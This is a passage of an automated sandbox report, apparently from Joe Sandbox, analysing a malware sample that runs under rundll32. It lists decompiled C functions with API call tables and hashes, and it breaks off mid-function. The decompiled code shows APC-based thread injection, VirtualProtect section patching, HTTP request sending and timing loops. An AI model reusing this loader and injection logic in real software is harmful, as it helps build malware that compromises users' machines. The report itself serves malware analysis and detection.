                  0x04be5243
                  0x04be5243
                  0x04be5243
                  0x04be5236
                  0x04be522d
                  0x04be5248
                  0x00000000
                  0x00000000
                  0x04be524e

                  APIs
                  • ResetEvent.KERNEL32(?,00000008,?,?,00000102,04BE21E7,?,?,74CF81D0,00000000), ref: 04BE5212
                  • ResetEvent.KERNEL32(?), ref: 04BE5217
                  • HttpSendRequestA.WININET(?,00000000,000000FF,00000000,00000000), ref: 04BE5224
                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,04BE3F34,00000000,?,?), ref: 04BE522F
                  • GetLastError.KERNEL32(?,?,00000102,04BE21E7,?,?,74CF81D0,00000000), ref: 04BE524A
                    • Part of subcall function 04BE2058: lstrlen.KERNEL32(00000000,00000008,?,74CB4D40,?,?,04BE51F7,?,?,?,?,00000102,04BE21E7,?,?,74CF81D0), ref: 04BE2064
                    • Part of subcall function 04BE2058: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000001,00000001,?,?,04BE51F7,?,?,?,?,00000102,04BE21E7,?), ref: 04BE20C2
                    • Part of subcall function 04BE2058: lstrcpy.KERNEL32(00000000,00000000), ref: 04BE20D2
                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04BE3F34,00000000,?), ref: 04BE523D
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Event$ErrorLastReset$HttpRequestSendlstrcpylstrlenmemcpy
                  • String ID:
                  • API String ID: 3739416942-0
                  • Opcode ID: e3f0562ef3b07a8a7ba1cf534f76a7962b205c989dae160d5a523906b90c24e1
                  • Instruction ID: c26858729b7ccc053599aa45d19300bc15d69d0586cc6c1c0d67ff85cbd0b2d1
                  • Opcode Fuzzy Hash: e3f0562ef3b07a8a7ba1cf534f76a7962b205c989dae160d5a523906b90c24e1
                  • Instruction Fuzzy Hash: F3016D71100201BAEB306EB3EC44F6BB7A9FFC9369F100A65F591D20E1D721F814DA21
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781F97 Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04781F97(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x47841c0, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}








                  0x04781fae
                  0x04781fb4
                  0x04781fb8
                  0x04781fc3
                  0x04781fcb
                  0x04781fd4
                  0x04781fd8
                  0x04781fdf
                  0x04781fe6
                  0x04781fe8
                  0x04781fee
                  0x04781fcb
                  0x04781ff2

                  APIs
                  • CreateThread.KERNEL32 ref: 04781FAE
                  • QueueUserAPC.KERNEL32(?,00000000,?), ref: 04781FC3
                  • GetLastError.KERNEL32(00000000), ref: 04781FCE
                  • TerminateThread.KERNEL32(00000000,00000000), ref: 04781FD8
                  • CloseHandle.KERNEL32(00000000), ref: 04781FDF
                  • SetLastError.KERNEL32(00000000), ref: 04781FE8
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                  • String ID:
                  • API String ID: 3832013932-0
                  • Opcode ID: ae2a322c06a7e4b330c0a11e5ef88baf0af260daec9e206be41c941ea9e0cc4e
                  • Instruction ID: 69cce9505b9b14dc94d3b9b5e33d962ab9a1cfb8654c37cc9020c0309c14ac10
                  • Opcode Fuzzy Hash: ae2a322c06a7e4b330c0a11e5ef88baf0af260daec9e206be41c941ea9e0cc4e
                  • Instruction Fuzzy Hash: DFF01932585621FBD7115FA8AC08F9BBF56FB08F51F20C80CFE0195150D72B8C118B61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE2523 Relevance: 7.7, APIs: 5, Instructions: 161memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 59%
                  			E04BE2523(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				intOrPtr _t32;
				void* _t33;
				CHAR* _t37;
				CHAR* _t44;
				CHAR* _t45;
				void* _t50;
				void* _t52;
				signed char _t57;
				intOrPtr _t59;
				signed int _t60;
				void* _t64;
				CHAR* _t68;
				CHAR* _t69;
				char* _t70;
				void* _t71;

				_t62 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E04BE4520();
				if(_t21 != 0) {
					_t60 =  *0x4bea2fc; // 0x4000000a
					_t56 = (_t60 & 0xf0000000) + _t21;
					 *0x4bea2fc = (_t60 & 0xf0000000) + _t21;
				}
				_t22 =  *0x4bea178(0, 2); // executed
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E04BE3037( &_v8,  &_v20); // executed
					_t55 = _t25;
					_t26 =  *0x4bea348; // 0xa1d5a8
					if( *0x4bea2fc > 5) {
						_t8 = _t26 + 0x4beb51d; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x4beb9db; // 0x44283a44
						_t27 = _t7;
					}
					E04BE4332(_t27, _t27);
					_t31 = E04BE415A(_t62,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t64 = 5;
					if(_t55 != _t64) {
						_t32 = E04BE27A0();
						 *0x4bea310 =  *0x4bea310 ^ 0x81bbe65d;
						 *0x4bea36c = _t32;
						_t33 = E04BE33DC(0x60);
						 *0x4bea3cc = _t33;
						__eflags = _t33;
						if(_t33 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t33, 0, 0x60);
							_t50 =  *0x4bea3cc; // 0x5609600
							_t71 = _t71 + 0xc;
							__imp__(_t50 + 0x40);
							_t52 =  *0x4bea3cc; // 0x5609600
							 *_t52 = 0x4beb142;
						}
						_t55 = 0;
						__eflags = 0;
						if(0 == 0) {
							_t37 = RtlAllocateHeap( *0x4bea2d8, 0, 0x43);
							 *0x4bea368 = _t37;
							__eflags = _t37;
							if(_t37 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t57 =  *0x4bea2fc; // 0x4000000a
								_t62 = _t57 & 0x000000ff;
								_t59 =  *0x4bea348; // 0xa1d5a8
								_t13 = _t59 + 0x4beb74a; // 0x697a6f4d
								_t56 = _t13;
								wsprintfA(_t37, _t13, _t57 & 0x000000ff, _t57 & 0x000000ff, 0x4be927b);
							}
							_t55 = 0;
							__eflags = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E04BE3BD3( ~_v8 &  *0x4bea310, 0x4bea00c); // executed
								_t55 = E04BE1D8A(0, _t56, _t62, _t64, 0x4bea00c);
								__eflags = _t55;
								if(_t55 != 0) {
									goto L30;
								}
								_t44 = E04BE6EA3(_t62);
								__eflags = _t44;
								if(_t44 != 0) {
									__eflags = _v8;
									_t68 = _v12;
									if(_v8 != 0) {
										L29:
										_t45 = E04BE6815(_t62, _t68, _v8); // executed
										_t55 = _t45;
										goto L30;
									}
									__eflags = _t68;
									if(__eflags == 0) {
										goto L30;
									}
									_t55 = E04BE5C31(__eflags,  &(_t68[4]));
									__eflags = _t55;
									if(_t55 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t55 = 8;
							}
						}
					} else {
						_t69 = _v12;
						if(_t69 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x4bea17c();
							}
							goto L34;
						}
						_t70 =  &(_t69[4]);
						do {
						} while (E04BE23C4(_t64, _t70, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t55 = _t22;
					L34:
					return _t55;
				}
			}































                  0x04be2523
                  0x04be252d
                  0x04be2530
                  0x04be2533
                  0x04be2536
                  0x04be253d
                  0x04be253f
                  0x04be254b
                  0x04be254d
                  0x04be254d
                  0x04be2556
                  0x04be255c
                  0x04be2561
                  0x04be257b
                  0x04be2587
                  0x04be2589
                  0x04be258e
                  0x04be2598
                  0x04be2598
                  0x04be2590
                  0x04be2590
                  0x04be2590
                  0x04be2590
                  0x04be259f
                  0x04be25ac
                  0x04be25b3
                  0x04be25b8
                  0x04be25b8
                  0x04be25c1
                  0x04be25c4
                  0x04be25ea
                  0x04be25ef
                  0x04be25fb
                  0x04be2600
                  0x04be2605
                  0x04be260a
                  0x04be260c
                  0x04be2638
                  0x04be263a
                  0x04be260e
                  0x04be2612
                  0x04be2617
                  0x04be261c
                  0x04be2623
                  0x04be2629
                  0x04be262e
                  0x04be2634
                  0x04be263b
                  0x04be263d
                  0x04be263f
                  0x04be264e
                  0x04be2654
                  0x04be2659
                  0x04be265b
                  0x04be268b
                  0x04be268d
                  0x04be265d
                  0x04be265d
                  0x04be2663
                  0x04be2670
                  0x04be2676
                  0x04be2676
                  0x04be267e
                  0x04be2687
                  0x04be268e
                  0x04be2690
                  0x04be2692
                  0x04be2699
                  0x04be26a6
                  0x04be26b0
                  0x04be26b2
                  0x04be26b4
                  0x00000000
                  0x00000000
                  0x04be26b6
                  0x04be26bb
                  0x04be26bd
                  0x04be26c4
                  0x04be26c8
                  0x04be26cb
                  0x04be26e0
                  0x04be26e4
                  0x04be26e9
                  0x00000000
                  0x04be26e9
                  0x04be26cd
                  0x04be26cf
                  0x00000000
                  0x00000000
                  0x04be26da
                  0x04be26dc
                  0x04be26de
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04be26de
                  0x04be26c1
                  0x04be26c1
                  0x04be2692
                  0x04be25c6
                  0x04be25c6
                  0x04be25cb
                  0x04be26eb
                  0x04be26f0
                  0x04be26f8
                  0x04be26f8
                  0x00000000
                  0x04be26f0
                  0x04be25d1
                  0x04be25d4
                  0x04be25de
                  0x04be25e5
                  0x00000000
                  0x04be2700
                  0x04be2700
                  0x04be2703
                  0x04be2707
                  0x04be2707

                  APIs
                    • Part of subcall function 04BE4520: GetModuleHandleA.KERNEL32(4C44544E,00000000,04BE253B,00000001), ref: 04BE452F
                  • CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 04BE25B8
                    • Part of subcall function 04BE27A0: GetVersionExA.KERNEL32(?,00000042,00000000), ref: 04BE27C4
                    • Part of subcall function 04BE27A0: wsprintfA.USER32 ref: 04BE2828
                    • Part of subcall function 04BE33DC: RtlAllocateHeap.NTDLL(00000000,00000000,04BE62F6), ref: 04BE33E8
                  • memset.NTDLL ref: 04BE2612
                  • RtlInitializeCriticalSection.NTDLL(056095C0), ref: 04BE2623
                    • Part of subcall function 04BE5C31: memset.NTDLL ref: 04BE5C4B
                    • Part of subcall function 04BE5C31: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04BE5C91
                    • Part of subcall function 04BE5C31: StrCmpNIW.SHLWAPI(00000000,?,00000000), ref: 04BE5C9C
                  • RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 04BE264E
                  • wsprintfA.USER32 ref: 04BE267E
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: AllocateHandleHeapmemsetwsprintf$CloseCriticalInitializeModuleSectionVersionlstrlen
                  • String ID:
                  • API String ID: 1825273115-0
                  • Opcode ID: 6dcf64a29f826ec683388a40db3fd82fa43b5e568f5319271cc15ccbe3e58718
                  • Instruction ID: 8ba41a7fa0177fb89a510b69eec93c15aefac93ad8f861b09712c7dbcb8ce5d7
                  • Opcode Fuzzy Hash: 6dcf64a29f826ec683388a40db3fd82fa43b5e568f5319271cc15ccbe3e58718
                  • Instruction Fuzzy Hash: 2851C171A00214EFEB18ABA7DD94A7E37ACEBC8704F0445D7E502EB141E779FA448B61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE4358 Relevance: 6.1, APIs: 4, Instructions: 104memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(80000002), ref: 04BE43B5
                  • SysAllocString.OLEAUT32(04BE4D42), ref: 04BE43F9
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE440D
                  • SysFreeString.OLEAUT32(00000000), ref: 04BE441B
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: String$AllocFree
                  • String ID:
                  • API String ID: 344208780-0
                  • Opcode ID: ad8540d97fe6b6b227f71e2eaac1ba356e582310b954e524cc809239c23fcb3d
                  • Instruction ID: c90cdfc1fc64b263d38eed072cc9382d571c7e2f898986b4610ac40ea34de52f
                  • Opcode Fuzzy Hash: ad8540d97fe6b6b227f71e2eaac1ba356e582310b954e524cc809239c23fcb3d
                  • Instruction Fuzzy Hash: 563130B5A00209EFCB05DF99D4D09AE7BB9FF88304B10846EF906DB251D734AA45CF65
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE213E Relevance: 6.0, APIs: 4, Instructions: 44sleepthreadtimeCOMMON
                  Download Yara Rule
                  C-Code - Quality: 65%
                  			E04BE213E(void* __ecx, intOrPtr _a4) {
				struct _FILETIME _v12;
				int _t13;
				signed int _t16;
				void* _t17;
				signed int _t18;
				unsigned int _t22;
				void* _t30;
				signed int _t34;

				_v12.dwLowDateTime = _v12.dwLowDateTime & 0x00000000;
				asm("stosd");
				do {
					_t13 = SwitchToThread();
					GetSystemTimeAsFileTime( &_v12);
					_t22 = _v12.dwHighDateTime;
					_t16 = (_t22 << 0x00000020 | _v12.dwLowDateTime) >> 5;
					_push(0);
					_push(0x13);
					_push(_t22 >> 5);
					_push(_t16);
					L04BE8436();
					_t34 = _t16 + _t13;
					_t17 = E04BE6269(_a4, _t34);
					_t30 = _t17;
					_t18 = 3;
					Sleep(_t18 << (_t34 & 0x00000007)); // executed
				} while (_t30 == 1);
				return _t30;
			}











                  0x04be2143
                  0x04be214e
                  0x04be214f
                  0x04be214f
                  0x04be215b
                  0x04be2164
                  0x04be2167
                  0x04be216b
                  0x04be216d
                  0x04be2172
                  0x04be2173
                  0x04be2174
                  0x04be217e
                  0x04be2181
                  0x04be2188
                  0x04be218c
                  0x04be2193
                  0x04be2199
                  0x04be21a3

                  APIs
                  • SwitchToThread.KERNEL32(?,00000001,?,?,?,04BE5044,?,?), ref: 04BE214F
                  • GetSystemTimeAsFileTime.KERNEL32(00000000,?,00000001,?,?,?,04BE5044,?,?), ref: 04BE215B
                  • _aullrem.NTDLL(00000000,?,00000013,00000000), ref: 04BE2174
                    • Part of subcall function 04BE6269: memcpy.NTDLL(00000000,00000002,?,?,?,00000000,00000000), ref: 04BE6308
                  • Sleep.KERNEL32(00000003,00000000,?,00000001,?,?,?,04BE5044,?,?), ref: 04BE2193
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: Time$FileSleepSwitchSystemThread_aullremmemcpy
                  • String ID:
                  • API String ID: 1610602887-0
                  • Opcode ID: 3524a8a8c3523955ca2cf6e439b0fd23734445d11c7ba4ab53562730e99f2814
                  • Instruction ID: 49f7625b9120759a47107f46afd4d22ac88605c21954abfd2cd3e032ea6c4172
                  • Opcode Fuzzy Hash: 3524a8a8c3523955ca2cf6e439b0fd23734445d11c7ba4ab53562730e99f2814
                  • Instruction Fuzzy Hash: B7F0A4B7B402047BDB149AA5CC19BEF77B9DBC4361F500165E601E7340E6B8AA0586A0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04781FF5 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E04781FF5(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E04781226(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}







                  0x04781ffe
                  0x04782003
                  0x04782011
                  0x04782016
                  0x04782016
                  0x0478201c
                  0x04782021
                  0x04782025
                  0x04782029
                  0x04782029
                  0x04782033
                  0x0478203c

                  APIs
                  • GetCurrentThread.KERNEL32 ref: 04781FF8
                  • SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 04782003
                  • SetThreadPriority.KERNEL32(00000000,000000FF), ref: 04782016
                  • SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 04782029
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: Thread$Priority$AffinityCurrentMask
                  • String ID:
                  • API String ID: 1452675757-0
                  • Opcode ID: 021e85c0862d0748347e9e04e8e35b165ee5fec86003dab7f409c8956c5a668b
                  • Instruction ID: 4c67e3ca9579e28361913b9b8680ea46663ab3d4c88b6367ad1708316be8ef05
                  • Opcode Fuzzy Hash: 021e85c0862d0748347e9e04e8e35b165ee5fec86003dab7f409c8956c5a668b
                  • Instruction Fuzzy Hash: E0E022313812112BB2223A2CAC84EAF6B4DEF85732321063DF820D23C0EB599C06A5A0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE5251 Relevance: 4.6, APIs: 3, Instructions: 94memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04BE5251(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __edi;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				void* _t40;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t52;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E04BE6ADC(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x4bea348; // 0xa1d5a8
				_t4 = _t24 + 0x4bebc70; // 0x5609218
				_t5 = _t24 + 0x4bebb60; // 0x4f0053
				_t26 = E04BE33F1( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x4bea348; // 0xa1d5a8
						_t11 = _t32 + 0x4bebcc8; // 0x5609270
						_t48 = _t11;
						_t12 = _t32 + 0x4bebb60; // 0x4f0053
						_t52 = E04BE5DE4(_t11, _t12, _t11);
						_t59 = _t52;
						if(_t52 != 0) {
							_t35 =  *0x4bea348; // 0xa1d5a8
							_t13 = _t35 + 0x4bebcf0; // 0x30314549
							_t37 = E04BE5157(_t48, _t50, _t59, _v8, _t52, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x4bea2fc - 6;
								if( *0x4bea2fc <= 6) {
									_t42 =  *0x4bea348; // 0xa1d5a8
									_t15 = _t42 + 0x4bebcd2; // 0x52384549
									E04BE5157(_t48, _t50, _t61, _v8, _t52, _t15, 0x13);
								}
							}
							_t38 =  *0x4bea348; // 0xa1d5a8
							_t17 = _t38 + 0x4bebbb8; // 0x5609160
							_t18 = _t38 + 0x4bebc1c; // 0x680043
							_t40 = E04BE5B0E(_v8, 0x80000001, _t52, _t18, _t17); // executed
							_t45 = _t40;
							HeapFree( *0x4bea2d8, 0, _t52);
						}
					}
					HeapFree( *0x4bea2d8, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E04BE7220(_t54);
				}
				return _t45;
			}




















                  0x04be5251
                  0x04be5261
                  0x04be5264
                  0x04be526b
                  0x04be526d
                  0x04be526d
                  0x04be5270
                  0x04be5275
                  0x04be527c
                  0x04be5289
                  0x04be528e
                  0x04be5292
                  0x04be52a0
                  0x04be52ae
                  0x04be52b2
                  0x04be5343
                  0x04be5343
                  0x04be52b8
                  0x04be52b8
                  0x04be52bd
                  0x04be52bd
                  0x04be52c4
                  0x04be52d0
                  0x04be52d2
                  0x04be52d4
                  0x04be52d6
                  0x04be52dd
                  0x04be52e8
                  0x04be52ef
                  0x04be52f1
                  0x04be52f8
                  0x04be52fa
                  0x04be5301
                  0x04be530c
                  0x04be530c
                  0x04be52f8
                  0x04be5311
                  0x04be5316
                  0x04be531d
                  0x04be532d
                  0x04be533b
                  0x04be533d
                  0x04be533d
                  0x04be52d4
                  0x04be534f
                  0x04be534f
                  0x04be5351
                  0x04be5356
                  0x04be5358
                  0x04be5358
                  0x04be5363

                  APIs
                  • StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,05609218,00000000,?,74D0F710,00000000,74D0F730), ref: 04BE52A0
                  • HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,05609160,?,00000000,30314549,00000014,004F0053,05609270), ref: 04BE533D
                  • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04BE68B6), ref: 04BE534F
                  Memory Dump Source
                  • Source File: 00000004.00000002.777093397.0000000004BE1000.00000020.10000000.00040000.00000000.sdmp, Offset: 04BE0000, based on PE: true
                  • Associated: 00000004.00000002.777083021.0000000004BE0000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777111251.0000000004BE9000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777119384.0000000004BEA000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000004.00000002.777130049.0000000004BEC000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4be0000_rundll32.jbxd
                  Similarity
                  • API ID: FreeHeap
                  • String ID:
                  • API String ID: 3298025750-0
                  • Opcode ID: 16f8e8ac3a7e428fd306a723d681c6ee55665afbdc6331a388415e83b30c3750
                  • Instruction ID: 34fcf664d74877149ca74870e0783ed68cc2a3a65d7e14bc8590bd5dfc7f7666
                  • Opcode Fuzzy Hash: 16f8e8ac3a7e428fd306a723d681c6ee55665afbdc6331a388415e83b30c3750
                  • Instruction Fuzzy Hash: 68316031900218BFDB21DBE7DC84EAA7BBCEBC8708F450096A501AB111DB71BE48DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 0478170E Relevance: 4.6, APIs: 3, Instructions: 68memoryCOMMON
                  Download Yara Rule
                  C-Code - Quality: 87%
                  			E0478170E(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t42;
				long _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t59;

				_v12 = _v12 & 0x00000000;
				_t56 =  *0x47841c0;
				_t57 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t56 - 0x43175abf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t59 = _v12;
					if(_t59 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t53 = _t56 - 0x43175abf;
							L9:
							_t42 = VirtualProtect( *((intOrPtr*)(_t57 + 0xc)) + _a4,  *(_t57 + 8), _t53,  &_v20); // executed
							if(_t42 == 0) {
								_v12 = GetLastError();
							}
							_t57 = _t57 + (_t56 - 0x3175ac2) * 0x28;
							_v8 = _v8 + 1;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t53 = _t56 - 0x43175ac1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						_t53 = _t56 - 0x43175aa3;
					} else {
						_t53 = _t56 - 0x43175a83;
					}
					goto L9;
				}
				goto L12;
			}












                  0x04781718
                  0x04781725
                  0x0478172b
                  0x04781737
                  0x04781747
                  0x04781749
                  0x04781751
                  0x047817e5
                  0x047817ec
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04781757
                  0x04781757
                  0x04781757
                  0x0478175b
                  0x00000000
                  0x00000000
                  0x04781767
                  0x0478176b
                  0x0478178f
                  0x04781793
                  0x047817a7
                  0x047817a7
                  0x047817ad
                  0x047817bc
                  0x047817c0
                  0x047817c8
                  0x047817c8
                  0x047817d4
                  0x047817d6
                  0x047817df
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x047817df
                  0x0478179b
                  0x0478179f
                  0x047817a5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x047817a5
                  0x04781773
                  0x04781777
                  0x04781781
                  0x04781779
                  0x04781779
                  0x04781779
                  0x00000000
                  0x04781777
                  0x00000000

                  APIs
                  • VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 04781747
                  • VirtualProtect.KERNEL32(00000000,?,?,?), ref: 047817BC
                  • GetLastError.KERNEL32 ref: 047817C2
                  Memory Dump Source
                  • Source File: 00000004.00000002.776956748.0000000004780000.00000040.00001000.00020000.00000000.sdmp, Offset: 04780000, based on PE: true
                  • Associated: 00000004.00000002.776956748.0000000004785000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_4780000_rundll32.jbxd
                  Similarity
                  • API ID: ProtectVirtual$ErrorLast
                  • String ID:
                  • API String ID: 1469625949-0
                  • Opcode ID: bae4a407456f0e369de71b53461497aee2eed2d948f727d63b673eefc884d9a9
                  • Instruction ID: 66c43344f1a053cc8fec31bd39698160e003612581b67542a6b7e4a599492707
                  • Opcode Fuzzy Hash: bae4a407456f0e369de71b53461497aee2eed2d948f727d63b673eefc884d9a9
                  • Instruction Fuzzy Hash: 5D211772D4021AEFCB14DF95C8819EAF7B8FF08705F44886EE412A6941E734BA56CF54
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04BE790B Relevance: 3.1, APIs: 2, Instructions: 112COMMON
                  Download Yara Rule
                  C-Code - Quality: 75%
                  			E04BE790B(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
